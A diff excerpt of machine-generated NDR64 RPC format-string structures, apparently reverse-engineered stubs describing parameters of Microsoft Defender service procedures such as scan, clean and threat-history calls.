_NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag357_t __midl_frag357 = +{ +/* Proc27_ServerMpRpcPrecheckNotification */ + { + /* Proc27_ServerMpRpcPrecheckNotification */ /* procedure Proc27_ServerMpRpcPrecheckNotification */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag350_t __midl_frag350 = +{ +/* Proc26_ServerMpRpcPrecheckStart */ + { + /* Proc26_ServerMpRpcPrecheckStart */ /* procedure Proc26_ServerMpRpcPrecheckStart */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag337_t __midl_frag337 = +{ +/* Proc24_ServerMpRpcCleanControl */ + { + /* Proc24_ServerMpRpcCleanControl */ /* procedure Proc24_ServerMpRpcCleanControl */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag324_t __midl_frag324 = +{ +/* *Struct_1434_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag308 +}; + +static const __midl_frag322_t __midl_frag322 = +{ +/* Proc22_ServerMpRpcScanCleanOpen */ + { + /* Proc22_ServerMpRpcScanCleanOpen */ /* procedure Proc22_ServerMpRpcScanCleanOpen */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag324, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1142, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag315_t __midl_frag315 = +{ +/* */ + { + /* *hyper */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag309 + }, + { + /* *long */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag312 + } +}; + +static const __midl_frag313_t __midl_frag313 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag312_t __midl_frag312 = +{ +/* *long */ + { + /* *long */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *long */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 4 /* 0x4 */, + &__midl_frag313 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 4 /* 0x4 */, + &__midl_frag2368 + } +}; + +static const __midl_frag309_t __midl_frag309 = +{ +/* *hyper */ + { + /* *hyper */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *hyper */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag313 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2164 + } +}; + +static const __midl_frag308_t __midl_frag308 = +{ +/* Struct_1434_t */ + { + /* Struct_1434_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1434_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag315, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag305_t __midl_frag305 = +{ +/* Proc21_ServerMpRpcCleanOpen */ + { + /* Proc21_ServerMpRpcCleanOpen */ /* procedure Proc21_ServerMpRpcCleanOpen */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag324, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag300_t __midl_frag300 = +{ +/* Proc20_ServerMpScanDeleteThreatHistory */ + { + /* Proc20_ServerMpScanDeleteThreatHistory */ /* procedure Proc20_ServerMpScanDeleteThreatHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag294_t __midl_frag294 = +{ +/* Proc19_ServerMpScanCloseThreatHistory */ + { + /* Proc19_ServerMpScanCloseThreatHistory */ /* procedure Proc19_ServerMpScanCloseThreatHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag288_t __midl_frag288 = +{ +/* union_1370 */ + { + /* union_1370 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag313, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1100, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag287_t __midl_frag287 = +{ +/* Struct_1382_t */ + { + /* Struct_1382_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_1382_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag288 + }, + { + /* Struct_1382_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag286_t __midl_frag286 = +{ +/* *Struct_1382_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag287 +}; + +static const __midl_frag285_t __midl_frag285 = +{ +/* **Struct_1382_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag286 +}; + +static const __midl_frag283_t __midl_frag283 = +{ +/* Proc18_ServerMpScanEnumerateDetectionHistory */ + { + /* Proc18_ServerMpScanEnumerateDetectionHistory */ /* procedure Proc18_ServerMpScanEnumerateDetectionHistory */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 